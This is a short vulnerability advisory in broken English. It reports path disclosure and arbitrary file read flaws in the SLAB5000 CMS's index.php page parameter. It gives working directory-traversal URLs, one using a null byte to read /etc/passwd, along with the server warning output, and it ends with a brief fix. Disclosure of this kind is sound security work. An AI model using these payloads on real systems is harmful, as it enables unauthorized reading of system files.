-- taken from they website http://www.slab5000.com -- 

I discover 2 bugs one known as "path disclosure" and Arbitrary File Read Vulnerability in the SLAB5000 Content Management System that allow malicious attacker to read sensitive information about the system.

[Path Disclosure]
Due to improper sanity checks in the variable $page:

http://www.server.com/index.php?page=../../../var 


Warning: main(/usr/www/users/username/slab500/common/../../../var/index.php): failed to open stream: No such file or directory in /usr/www/users/usernameb/slab500/folder/index.php on line 63


[File Read]

Due to imporper sanity inputs checks too, just adding the NULL byte and the end of the file:

http://www.server.com/index.php?page=../../../../../etc/passwd%00 

[Solution]
Edit the source to do sanity input checks as well.

Sorry if my english is bad :)
